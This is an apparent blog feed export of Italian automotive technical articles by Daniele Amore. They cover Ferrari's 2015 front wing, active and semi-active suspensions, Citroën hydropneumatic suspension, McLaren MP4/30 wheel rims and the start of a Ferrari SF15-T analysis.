<p style="text-align: justify">La Ferrari ha cominciato un mondiale di F1 con delle modifiche importanti all&#8217;ala anteriore rispetto ai test che si sono svolti a Barcellona. Nella foto nel riquadro in alto si vede chiaramente la forma classica dell&#8217;ala anteriore che ricorda quella già usata nella passata stagione. Nella versione 2015 si vede chiaramente un cambiamento quasi radicale.  Sulla paratia laterale è stata inserita una piccola aletta orientata verso l&#8217;alto che ha il compito di dirigere il flusso aria al di sopra della ruota anteriore. La parte di aria che investe il flusso anteriore della ruota appare molto importante per la resistenza e la penetrazione aerodinamica. Da notare la cura del dettaglio che vede l&#8217;aletta non attaccata nella sua interezza alla paratia verticale. Infatti questa viene staccata con una piccola feritoia per smaltire l&#8217;eccesso di pressione che si verifica quando l&#8217;aletta va ad unirsi alla paratia.  Ancora più evidente il cambiamento che i tecnici di Maranello hanno apportato al flap supplementare che si trova sulla parte anteriore dell&#8217;alettone. Questo flap che nella passata versione era svergolata verso l&#8217;alto, nella formazione del 2015 che viene divisa in due parti. Un piccolo flap vero e proprio forma trapezio nera. Questa diversa impostazione dell&#8217;alettone anteriore appare simile a quella già vista sulle Mercedes. Questa soluzione che si utilizza per migliorare il flusso aria che investe la ruota anteriore come per la piccola aletta sulla paratia laterale. Si passa da una funzione tipicamente utilizzata per ottenere carico aerodinamico ad un dettaglio che funge da deflettore per migliorare il flusso aria davanti alla ruota anteriore per migliorare anche la penetrazione aerodinamica.</p>
<p style="text-align: justify">Un&#8217;altra modifica importante è quella che si vede nella parte centrale dell&#8217;ala principale. Quella che si trova in basso di colore rosso nelle vicinanze del pilone di sostegno anteriore. I tecnici di Maranello hanno considerato come un sistema di tipo venturi l&#8217;ala anteriore. L&#8217;aria che investe il flap principale viene accelerato dalla nuova forma dell&#8217;ala che piega verso l&#8217;alto. In questo modo l&#8217;accelerazione del flusso genera come succede con un tubo venturi una pressione maggiore verso il basso con un incremento del carico aerodinamico. Inoltre il flusso aria che passa nella parte superiore vicino al pilone di sostegno viene indirizzato chiaramente verso il centro della zona del muso. L&#8217;aria che passa sotto il muso nella zona centrale, va ad alimentare il fondo per poi sfogare verso il profilo estrattore.</p>
<p style="text-align: justify">In sostanza l&#8217;ala anteriore è stata oggetto di un intero studio aerodinamico con una cura per il dettaglio che non si era ancora vista fino ad oggi sulle Rosse. Un sistema curato nei dettagli che fa parte integrante di un sistema aerodinamico che forma tutta la monoposto. L&#8217;ala anteriore è la prima zona che incontra l&#8217;aria di fondamentale importanza non solo per il carico che genera ma anche per come indirizza i flussi verso il muso, ai lati delle gomme, e verso il fondo per poi permettere di lavorare anche al diffusore.</p>
<p><strong>Daniele Amore.</strong></p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2015/03/18/f1-la-nuova-ala-anteriore-ferrari-in-australia/">F1: La nuova ala anteriore Ferrari in Australia</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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		<title>Le sospensioni parte IX, le attive, adattive e semi-attive</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 01 Mar 2015 16:18:57 +0000</pubDate>
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		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Il nostro percorso sulle sospensioni  non può che concludersi con una carrellata su quelle sono le sospensioni attive o altrimenti dette  sospensione adattiva passando per quelle che sono considerate sospensioni semi-attive. Tutte queste hanno come base di partenza comune lo schema che già abbiamo descritto quando abbiamo trattato la sospensioni idropneumatica Citroen. In sostanza si tratta di [&#8230;]</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2015/03/01/le-sospensioni-parte-ix-le-attive-adattive-e-semi-attive/">Le sospensioni parte IX, le attive, adattive e semi-attive</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/03/6-e1425225603263.jpg"><img decoding="async" class="alignnone size-medium wp-image-49158" src="https://www.giornalemotori.com/wp-content/uploads//2015/03/6-300x222.jpg" alt="6" width="300" height="222" title="Le sospensioni parte IX, le attive, adattive e semi-attive 1014"></a></p>
<p style="text-align: justify">Il nostro percorso sulle sospensioni  non può che concludersi con una carrellata su quelle sono le <b>sospensioni attive</b> o altrimenti dette  <b>sospensione adattiva </b>passando per quelle che sono considerate<b> sospensioni semi-attive. </b>Tutte queste hanno come base di partenza comune lo schema che già abbiamo descritto quando abbiamo trattato la sospensioni idropneumatica Citroen.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/03/easy.nbosef1.jpg"><img decoding="async" class="alignleft size-medium wp-image-49159" src="https://www.giornalemotori.com/wp-content/uploads//2015/03/easy.nbosef1-300x300.jpg" alt="easy.nbosef1" width="300" height="300" title="Le sospensioni parte IX, le attive, adattive e semi-attive 1015"></a>In sostanza si tratta di sistemi che controllano il movimento delle ruote e della scocca attraverso una serie di sistemi di controllo elettronici.<b> </b>La differenza con le sospensioni passive sta nel fatto che il controllo adatta la taratura alle diverse sollecitazioni che viene dalla strada invece che lavorare con un unica logica predefinita.  Le sospensioni si dividono due categorie principali, ci sono quelle attive o adattiva e sospensione semi-attive. Le sospensioni attive usano un&#8217;attuatore per alzare e abbassare letteralmente il telaio in modo indipendente su ciascuna ruota mediante sensori elettronici.  Nel secondo caso le semi-attive variano solo la durezza dell&#8217;ammortizzatore in funzione delle sollecitazioni  o delle condizioni dinamiche.  Queste tecnologie di controllo delle sospensioni permettono un maggior grado di qualità di guida e maggiore sicurezza, il motivo sta nel fatto che riescono a mantenere le gomme sempre perpendicolari alla strada in curva migliorando la trazione ed il controllo della stabilità. Un computer di bordo rileva il movimento del corpo mediante una serie di sensori che monitorizzano i movimenti della ruota e della scocca rispetto al terreno. La centralin elabora i dati controllando l&#8217;azione delle sospensioni attive.  Il sistema ha lo scopo di opporsi al rollio migliorando nettamente la tenuta laterale, inoltre con il controllo dell&#8217;altezza della scocca in frenata e accelerazione si migliora nettamente la trazione e la stabilità.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/03/mercedes_benz_magic_body_control_3_cd_gallery_zoomed.jpg"><img decoding="async" class="alignleft size-medium wp-image-49160" src="https://www.giornalemotori.com/wp-content/uploads//2015/03/mercedes_benz_magic_body_control_3_cd_gallery_zoomed-300x183.jpg" alt="mercedes_benz_magic_body_control_3_cd_gallery_zoomed" width="300" height="183" title="Le sospensioni parte IX, le attive, adattive e semi-attive 1016" srcset="https://www.giornalemotori.com/wp-content/uploads/2015/03/mercedes_benz_magic_body_control_3_cd_gallery_zoomed-300x183.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2015/03/mercedes_benz_magic_body_control_3_cd_gallery_zoomed-1024x626.jpg 1024w, https://www.giornalemotori.com/wp-content/uploads/2015/03/mercedes_benz_magic_body_control_3_cd_gallery_zoomed-768x469.jpg 768w, https://www.giornalemotori.com/wp-content/uploads/2015/03/mercedes_benz_magic_body_control_3_cd_gallery_zoomed-696x425.jpg 696w, https://www.giornalemotori.com/wp-content/uploads/2015/03/mercedes_benz_magic_body_control_3_cd_gallery_zoomed.jpg 1136w" sizes="(max-width: 300px) 100vw, 300px" /></a>La prima generazione di  sospensioni attive, utilizzavano attuatori separati i quali agivano indipendentemente sulle sospensioni. Il primo difetto di questo sistema erano evidentemente i costi elevati, ma anche una difficile messa appunto e una manutenzione complessa e costosa.  Le sospensioni Attive di dividono in due tipi, con azionamento idraulico, e con recupero elettromagnetico. Nel primo caso nel caso l&#8217;azionamento delle sospensioni è controllato da un servomeccanismo idraulico. Un pistone radiale ed una pompa idraulica ad alta pressione forniscono la pressione necessaria al sistema. I sensori controllano costantemente il movimento del corpo in funzione della marcia del veicolo. La centralina elabora i dati azionando il pistone e la pompa  collegati a ciascuna ruota.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/03/images.jpg"><img decoding="async" class="alignleft size-full wp-image-49165" src="https://www.giornalemotori.com/wp-content/uploads//2015/03/images.jpg" alt="images" width="283" height="178" title="Le sospensioni parte IX, le attive, adattive e semi-attive 1017"></a>Quasi istantaneamente la sospensione si irrigidisce o si ammorbidisce in funzione della posizione che si vuole ottenere rispetto al terreno. Il sistema autolivellante appare particolarmente utile per tenere l&#8217;altezza costante per migliorare gli effetti aerodinamici, nel caso di alta velocità la vettura si abbasserà in automatico per migliorare l&#8217;efficienza. Un uso particolarmente efficacie fu adottato dalla <strong><em>Williams F14B</em></strong> che dominò letteralmente la stagione 1992-93 con l&#8217;ausilio di questo tipo di sospensioni. Anche se per dovere di cronaca il sistema fu provato già dalla Lotus negli inizi degli anni 80 ma con scarsi risultati per una elettronica di bordo non ancora all&#8217;altezza rispetto a quelle che sarebbe arrivata negli anni 90 inoltrati. La prima auto che ebbe uno sviluppo notevole di questo tipo di sistema stradale fu la Mitsubishi con il <strong><em><span class="goog-text-highlight">&#8220;Dynamic ECS&#8221;</span><span class="goog-text-highlight">, </span></em></strong><span class="goog-text-highlight">Anche la Toyota fece un grosso lavoro di sviluppo con</span><i><span class="goog-text-highlight"> </span></i><strong><em>Toyota Suspension Active Control. </em></strong>Il lavoro del costruttore giapponese può dirsi alla base di ogni sistema moderno.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/03/INNOVATION_MAGIC-BODY-CONTRL_02-e1425225855798.jpg"><img decoding="async" class="alignleft size-medium wp-image-49161" src="https://www.giornalemotori.com/wp-content/uploads//2015/03/INNOVATION_MAGIC-BODY-CONTRL_02-300x111.jpg" alt="INNOVATION_MAGIC-BODY-CONTRL_02" width="300" height="111" title="Le sospensioni parte IX, le attive, adattive e semi-attive 1018"></a>La sospensione con recupero elettromagnetico, attiva utilizza motori elettromagnetici lineari collegati a ciascuna ruota. Il vantaggio è di offrire una risposta estremamente veloce rispetto ai sistemi idraulici. L&#8217;evoluzione dei sistemi di elaborazione e di controllo elettronico, permettono ai sistemi elettromagnetici si gestire al meglio ogni singola variazione di carico e di sollecitazione con una velocità sconosciuta ai sistemi idraulici analoghi. Uno dei sistemi più evoluti di questo tipo di sospensioni è il <em><strong>Magic Body Control</strong></em> di Mercedes. Il sistema di sospensione agisce in coordinamento con tutti i sistemi di bordo come radar, telecamere e rilevamento del manto stradale etc, anticipando quello che dovrà essere lo smorzamento da effettuare in modo più tempestivo e rapido.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/03/SynapticDampingControl_THUMB-e1425226004151.jpg"><img decoding="async" class="alignleft size-medium wp-image-49162" src="https://www.giornalemotori.com/wp-content/uploads//2015/03/SynapticDampingControl_THUMB-300x200.jpg" alt="SynapticDampingControl_THUMB" width="300" height="200" title="Le sospensioni parte IX, le attive, adattive e semi-attive 1019"></a>I sistemi adattivi o semi-attivi intervengono solo sullo smorzamento. Questo sistema appare limitato nella sua possibilità d&#8217;intervento, ma  le sospensioni semi-attive hanno il vantaggio di essere meno costose da progettare e più semplici da regolare. Recentemente moltissimi modelli anche di fascia media del mercato può vantare sistemi semi-attivi. Ciò ha permesso di ridurre il divario tra i sistemi di sospensione semi-attiva e pienamente attivi, migliorando comunque il comportamento stradale rispetto ad una sospensione completamente analogica. Il sistema più diffuso e quello a solenoide o mediante la valvola ad azionamento. In sostanza il sistema è costituito da un&#8217;elettrovalvola che altera il flusso del fluido idraulico all&#8217;interno del ammortizzatore, quindi modifica le caratteristiche di smorzamento  della sospensione. I solenoidi sono collegati alla centralina di controllo, che invia i comandi a seconda della logica prefissata dal costruttore.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/03/Range-Rover-Evoque-8-e1425226071494.jpg"><img decoding="async" class="alignleft size-medium wp-image-49163" src="https://www.giornalemotori.com/wp-content/uploads//2015/03/Range-Rover-Evoque-8-300x215.jpg" alt="Range-Rover-Evoque-8" width="300" height="215" title="Le sospensioni parte IX, le attive, adattive e semi-attive 1020"></a>Un altro sistema più evoluto è il cosiddetto <strong> </strong><i><strong>MagneRide</strong>. </i>Questo sistema utilizza centraline più veloci modificando la rigidità di tutte le sospensioni delle ruote indipendenti. In questo sistema, il fluido smorzatore negli ammortizzatori contiene particelle metalliche. Attraverso la centralina, si riesce a decidere la cedevolezza degli ammortizzatori mediante l&#8217;azione di un elettromagnete.  In sostanza,  aumentando il flusso di corrente nella serranda aumenta il livello di rigidezza, mentre una diminuzione ammorbidisce l&#8217;effetto degli ammortizzatori. Le informazioni provenienti dai sensori posti sulle ruote che indicano l&#8217;estensione della sospensione, angolo di sterzo, accelerazione, riuscendo ad ottenere dalla sospensione sempre una rigidità ottimizzata.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/03/TTcotout.png"><img decoding="async" class="alignleft size-medium wp-image-49164" src="https://www.giornalemotori.com/wp-content/uploads//2015/03/TTcotout-300x180.png" alt="TTcotout" width="300" height="180" title="Le sospensioni parte IX, le attive, adattive e semi-attive 1021" srcset="https://www.giornalemotori.com/wp-content/uploads/2015/03/TTcotout-300x180.png 300w, https://www.giornalemotori.com/wp-content/uploads/2015/03/TTcotout.png 466w" sizes="(max-width: 300px) 100vw, 300px" /></a>La reazione rapida del sistema permette, di rendere più morbido il passaggio di una singola ruota sopra una sconnessione stradale senza interferire con l&#8217;altra ne con la scocca. Uno dei più diffusi ed efficienti è l&#8217;<em style="font-weight: bold">Audi magnetic ride, </em>ma ci sono anche i sistemi di<strong><em> Magneti Marelli </em><em>SYNAPTIC DAMPING CONTROL</em></strong> in uso sulla gamma Alfa Romeo<strong><em>, </em></strong>ed il<strong><em>  </em><em>FlexRide </em></strong>in uso alla Opel per le ultime generazioni di Astra ed Insigne, ma molti costruttori stanno inserendo nella gamma dei propri prodotti sistemi simili di controllo dell&#8217;assetto.</p>
<p style="text-align: justify">
<p style="text-align: justify"><strong>Daniele Amore </strong></p>
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		<title>Le sospensioni parte VIII, le idropneumatiche di Citroen</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sun, 15 Feb 2015 14:12:49 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Abbiamo parlato di sospensioni, come funzionano, come sono fatte gli schemi che si possono trovare nelle autovetture. C&#8217;è una marca che più di tutte ha portato innovazione nel campo delle sospensioni. La Citroen nei lontani anni 50 del secolo scorso inventò un sistema che aveva come unico scopo quello di coniugare il massimo confort possibile [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/02/6a00e54ed05fc28833019b000c888e970b-550wi.jpg"><img decoding="async" class="alignnone size-medium wp-image-48808" src="https://www.giornalemotori.com/wp-content/uploads//2015/02/6a00e54ed05fc28833019b000c888e970b-550wi-300x236.jpg" alt="6a00e54ed05fc28833019b000c888e970b-550wi" width="300" height="236" title="Le sospensioni parte VIII, le idropneumatiche di Citroen 1028"></a></p>
<p style="text-align: justify">Abbiamo parlato di sospensioni, come funzionano, come sono fatte gli schemi che si possono trovare nelle autovetture. C&#8217;è una marca che più di tutte ha portato innovazione nel campo delle sospensioni. La Citroen nei lontani anni 50 del secolo scorso inventò un sistema che aveva come unico scopo quello di coniugare il massimo confort possibile per gli occupanti senza perdere in doti di tenuta di strada. Sulla berlina media Citroen DS fece il suo debutto un sistema di sospensioni a ruote indipendenti dette idropneumatiche,  o più correttamente oleopneumatiche.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/02/citroen-xcar-film-e1423993963354.jpg"><img decoding="async" class="alignleft size-medium wp-image-48809" src="https://www.giornalemotori.com/wp-content/uploads//2015/02/citroen-xcar-film-300x199.jpg" alt="citroen-xcar-film" width="300" height="199" title="Le sospensioni parte VIII, le idropneumatiche di Citroen 1029"></a>Un compito che sulla carta può sembrare facile, ma che ha necessitato all&#8217;epoca di ben dieci anni di progettazione.  Basate su uno schema a ruote indipendenti a quadrilatero quindi già perfettamente efficiente che permette di mantenere costante l&#8217;altezza da terra della vettura nelle diverse condizioni di utilizzo. Il sistema consisteva nell&#8217;utilizzo di sfere di metallo, situate una in corrispondenza di ogni ruota. Ogni sfera era riempita per una parte di olio e per una parte di  un gas come azoto. Le due sostanze sono separate tra loro da una membrana. Quando la vettura è sottoposta a carico per una sconnessione o per effetto delle sollecitazioni di beccheggio e rollio, l&#8217;olio va a comprimere l&#8217;azoto che si trova nella parte superiore della sfera. Maggiore è l&#8217;impulso a comprimere il gas, minore risulta la morbidezza delle sospensioni, poiché è impossibile ottenere una compressione completa.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/02/xansuspf.jpg"><img decoding="async" class="alignleft size-medium wp-image-48810" src="https://www.giornalemotori.com/wp-content/uploads//2015/02/xansuspf-300x238.jpg" alt="xansuspf" width="300" height="238" title="Le sospensioni parte VIII, le idropneumatiche di Citroen 1030"></a>L&#8217;utilizzo di due fluidi con leggi di comprimibilità diverse permette di avere una flessibilità maggiore di qualsiasi molla in acciaio. La variabilità alle sollecitazioni provenienti dalle ruote permetteva un&#8217;ottima azione ammortizzante in modo particolare per le sconnessioni stradali secche come buche ed altre asperità.  La vettura aveva un sistema di autolivellamento, cioè tendeva ad avere un&#8217;altezza costante. Il sistema funziona mdediante  l&#8217;azione di una pompa a sette pistoni che aumenta o diminuisce la lunghezza della colonna d&#8217;olio presente nelle sfere. Una valvola all&#8217;interno di queste permette la compensazione dei due fluidi a seconda delle sollecitazioni e della quantità di smorzamento che necessita. La stessa pompa era collegata al sistema frenante, al servosterzo.  Questa pompa aveva il compito di livellare la quantità di olio e di gas all&#8217;interno le sfere per ottenere lo smorzamento ottimale, il tutto con il semplice utilizzo di valvole e attuatori idraulici, senza nessun ausilio elettronico. In seguito questo sistema poteva anche essere regolato manualmente su 5 posizioni mediante una leva all&#8217;interno della vettura,  arrivando ad un&#8217;altezza che permetteva anche la possibilità di sostituzione della ruota posteriore senza l&#8217;ausilio di un cric. Prove dell&#8217;epoca dimostrava addirittura che la Citroen DS per le sue proprietà auto livellanti poteva anche viaggiare senza la ruota posteriore in tutta sicurezza, compensando con le altre tre. Il sistema base degli anni 50 aveva una sfera per ogni ruota più almeno altre due per il controllo dei freni e del bilanciamento dell&#8217;altezza.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/02/hydract3.jpg"><img decoding="async" class="alignleft size-medium wp-image-48811" src="https://www.giornalemotori.com/wp-content/uploads//2015/02/hydract3-300x216.jpg" alt="hydract3" width="300" height="216" title="Le sospensioni parte VIII, le idropneumatiche di Citroen 1031" srcset="https://www.giornalemotori.com/wp-content/uploads/2015/02/hydract3-300x216.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2015/02/hydract3.jpg 400w" sizes="(max-width: 300px) 100vw, 300px" /></a>Il vero neo di questo tipo di sospensioni, era quello dettato dalla sua stessa complessità. Infatti, la sospensione oleodinamica funzionava perfettamente solo se con un efficiente manutenzione, che poteva fare solo l&#8217;assistenza Citroen a causa della complessità e dell&#8217;attrezzatura dedicata che necessitava. Quindi il confort e la tenuta erano eccellenti ma a costi elevati. Nonostante ciò il costruttore francese non si è arreso. Con il passare degli anni il sistema si è evoluto. La Citroen ha avuto il merito di insistere su questo sistema costoso migliorandolo negli anni.  Nel 1990 debutta infatti l&#8217;evoluzione <strong><em>Hydractive</em></strong>. Citroën Hydractive nelle varianti I e II della sospensione debuttò sull&#8217;ammiraglia XM e la media Xantia. In seguito con l&#8217;utilizzo diffuso di sensori e centraline elettroniche divenne Activa. <strong><em>Hydractive I</em></strong> usavano lo stessa sistema base degli anni 50 adattato ad una nuova sospensione con geometria a quadrilatero alto. Si poteva scegliere fin dall&#8217;inizio di due preselezioni, Sport e Auto. Nella impostazione della sospensione sportiva la vettura riduceva il rollio aumentando la rigidezza. Nell&#8217;impostazione Auto, la sospensione veniva commutata da morbida e passava in modalità rigida temporaneamente quando in curva ci fosse l&#8217;esigenza in funzione di alcuni fattori come  la velocità,  la posizione del pedale dell&#8217;acceleratore, la pressione del freno, angolo del volante, o movimento del telaio  rilevato da uno dei diversi sensori.</p>
<p><a href="https://www.giornalemotori.com/wp-content/uploads//2015/02/hydract4.jpg"><img decoding="async" class="alignleft size-medium wp-image-48812" src="https://www.giornalemotori.com/wp-content/uploads//2015/02/hydract4-300x215.jpg" alt="hydract4" width="300" height="215" title="Le sospensioni parte VIII, le idropneumatiche di Citroen 1032" srcset="https://www.giornalemotori.com/wp-content/uploads/2015/02/hydract4-300x215.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2015/02/hydract4.jpg 400w" sizes="(max-width: 300px) 100vw, 300px" /></a>Nel sistema <strong><em>Hydractive II</em></strong>, le due funzioni principali erano Sport e Comfort. In questa nuova versione nell&#8217;impostazione Sport la sospensione non resta rigida in modo fisso,  ma si adatta alle sollecitazioni ed abbassa anche  significativamente la scocca utilizzando gli stessi sensori che tengono la vettura in assetto costante in modalità comfort, permettendo un migliore bilanciamento e una migliore risposta nella funzione rispetto al precedente Hydractive I.  Nel 2001 un ulteriore evoluzione del sistema chiamato  Hydractive 3. Utilizzato sulla Citroen C5,   in questa evoluzione la vettura rimane all&#8217;altezza di marcia anche quando il motore viene spento per un lungo periodo, rispetto all&#8217;origine in cui la scocca si abbassava sempre sulle ruote.  In questo sistema al posto dell&#8217;olio  che comanda le sfere, hanno raggiunto il numero di 10 per controllare tutte le funzioni della vettura, c&#8217;è un nuovo fluido brevettato dalla Citroen con caratteristiche migliori e un impatto ambientale ridotto.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/02/747x322-citroen-c5-hydractive3plus.138570.72.jpg"><img decoding="async" class="alignleft size-medium wp-image-48814" src="https://www.giornalemotori.com/wp-content/uploads//2015/02/747x322-citroen-c5-hydractive3plus.138570.72-300x129.jpg" alt="747x322-citroen-c5-hydractive3plus.138570.72" width="300" height="129" title="Le sospensioni parte VIII, le idropneumatiche di Citroen 1033"></a>Ultimo affinamento è stato l&#8217; Hydractive 3+. Permette al sistema elettronico di decidere quante sfere avere in funzione per avere un assetto sempre costante e una ulteriore risposta soprattutto in condizioni di utilizzo in sport. Questa ultima evoluzione permette di avere un comportamento che si sposta decisamente verso un carattere sportivo senza mai perdere di vista il confort che è alla base della concezione del sistema nato ormai 60 anni fà. Oggi questo tipologia di sospensione idrattiva anche se con molteplici differenze è alla base di ogni sistema di controllo delle sospensioni che utilizzano anche altri costruttori per le loro vetture. Sistemi che analizzeremo nel dettaglio nella prossima trattazione. La dimostrazione se mai c&#8217;è ne fosse bisogno che senza la caparbietà di certi tecnici oggi non avremmo tutti i sistemi che l&#8217;elettronica rende utilizzabili per ogni vettura di tutti i segmenti.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>McLaren Honda Mp4/30, il dettaglio dei cerchi anteriori Enkei</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Tue, 03 Feb 2015 13:26:35 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Nel frattempo che vanno avanti i test di Jerez de la Frontera, diamo un occhiata a qualche dettaglio delle monoposto che sono in pista a provare. La più caratteristica di tutte è sicuramente la McLaren Honda. La scuderia Anglonipponica nonostante i suoi problemi di gioventù sembra quella che ha una veste aerodinamica più estrema di [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center;"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/02/jerez-mclaren-rim-e1422959794122.jpg"><img decoding="async" class="alignnone size-medium wp-image-48463" src="https://www.giornalemotori.com/wp-content/uploads//2015/02/jerez-mclaren-rim-300x200.jpg" alt="jerez-mclaren-rim" width="300" height="200" title="McLaren Honda Mp4/30, il dettaglio dei cerchi anteriori Enkei 1035"></a></p>
<p style="text-align: justify;">Nel frattempo che vanno avanti i test di Jerez de la Frontera, diamo un occhiata a qualche dettaglio delle monoposto che sono in pista a provare. La più caratteristica di tutte è sicuramente la McLaren Honda. La scuderia Anglonipponica nonostante i suoi problemi di gioventù sembra quella che ha una veste aerodinamica più estrema di tutte quelle viste fino ad ora. La cura dei tecnici inglesi passa per ogni dettaglio non ultimo le prese aria ricavate nei cerchi in lega della Enkei che contraddistinguono le ruote anteriori della MP4/30.</p>
<p style="text-align: justify;">Come si vede nella foto, i cerchi anteriori hanno un doppio anello esterno su cui sono ricavate delle piccole alette che servono per l&#8217;espulsione rapida dell&#8217;aria calda. Con l&#8217;utilizzo della power unt che comporta il recupero di energia sui freni posteriori, questi vengono aiutati dal un sistema elettronico di frenata. I freni anteriori sono sottoposti ad un lavoro molto più gravoso e quindi a maggior ragione devono essere ben raffreddati.</p>
<p style="text-align: justify;">Un altro dei motivi per cui si è optato per questa soluzione delle feritoie sul bordo del cerchio è quello di tenere costante la temperatura del componente del cerchio. In questo modo il cerchio stesso stabilizza la temperatura del pneumatico. Una soluzione che già si era vista con la Redbull nelle passate stagioni e che abbiamo trattato mediante le immagini delle camere termiche messe a disposizione della Fia. Un dettaglio importante che serve non solo a frenare meglio ma anche a tenere in efficienza i pneumatici, vantaggio che può essere di importanza fondamentale per la resa sulla lunga distanza delle coperture Pirelli.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>Ferrari SF15-T, Analisi Tecnica</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sat, 31 Jan 2015 03:54:32 +0000</pubDate>
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		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>La SF15-T, la nuova Ferrari che correrà nel campionato mondiale di Formula 1 2015. La prima cosa che è venuta in mente a Maurizio Arrivabene nella sua intervista di presentazione a Fiorano, è che questa monoposto è Sexy. Noi ci limitiamo a dire con un certo pragmatismo che questa monoposto è semplice. Più volte avevamo [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/upferr2-e1422652173807.jpg"><img decoding="async" class="alignnone size-medium wp-image-48381" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/upferr2-300x223.jpg" alt="upferr2" width="300" height="223" title="Ferrari SF15-T, Analisi Tecnica 1041"></a></p>
<p style="text-align: justify">La SF15-T, la nuova Ferrari che correrà nel campionato mondiale di Formula 1 2015. La prima cosa che è venuta in mente a Maurizio Arrivabene nella sua intervista di presentazione a Fiorano, è che questa monoposto è Sexy. Noi ci limitiamo a dire con un certo pragmatismo che questa monoposto è semplice.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/upferr1-1-e1422652042367.jpg"><img decoding="async" class="alignleft size-medium wp-image-48380" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/upferr1-1-300x164.jpg" alt="upferr1 (1)" width="300" height="164" title="Ferrari SF15-T, Analisi Tecnica 1042"></a> Più volte avevamo detto e ripetuto nei nostri interventi che l&#8217;unica strada che doveva percorrere il nuovo corso Ferrari era quello di affidare la macchina a progettisti che dovevano avere un solo obiettivo, fare le cose semplici.  Lavorare dapprima sul telaio, sulle sospensioni per togliere quell&#8217;annoso difetto che si porta appresso da anni ormai della mancanza di trazione. Lavorare sui difetti, tanti della monoposto della passata stagione e provare a far lavorare per quanto possibile quello che non c&#8217;è stato tempo per modificare anche se poi vedremo che in effetti ci hanno messo le mani eccome sulla sospensione anteriore.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/01/150012eve-1.jpg"><img decoding="async" class="alignleft size-medium wp-image-48382" src="https://www.giornalemotori.com/wp-content/uploads//2015/01/150012eve-1-300x189.jpg" alt="150012eve (1)" width="300" height="189" title="Ferrari SF15-T, Analisi Tecnica 1043" srcset="https://www.giornalemotori.com/wp-content/uploads/2015/01/150012eve-1-300x189.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2015/01/150012eve-1.jpg 500w" sizes="(max-width: 300px) 100vw, 300px" /></a>Volendo analizzare i dettagli della carrozzeria la prima cosa che salta all&#8217;occhio è il nuovo muso nella foto sopra. La Ferrari ha deciso di usare una soluzione più tradizionale in rispetto delle norme ma non senza spunti interessanti. Il muso che scende ripido verso l&#8217;ala anteriore la supera andando al limite massimo delle dimensione che il regolamento prevede per i musi come avevamo anticipato nella trattazione degli articoli regolamentari. Nella parte inferiore del muso si vede un andamento incurvato che lascia una specie di piccola deriva al centro che dovrebbe dirigere il flusso verso il centro del fondo della monoposto. Anche i piloni di sostegno dell&#8217;ala arretrati offrono un&#8217;ampia zona per l&#8217;ottimizzazione del flusso aria che arriva dalla punta per poi convergere verso il centro per inviare l&#8217;aria verso quello che è diventato il vero imbocco del venturi sotto il fondo monoposto.  L&#8217;aria che passa ai lati delle gomme è tenuta separata da due deflettori svergolati che mandano aria verso le fiancate.</p>
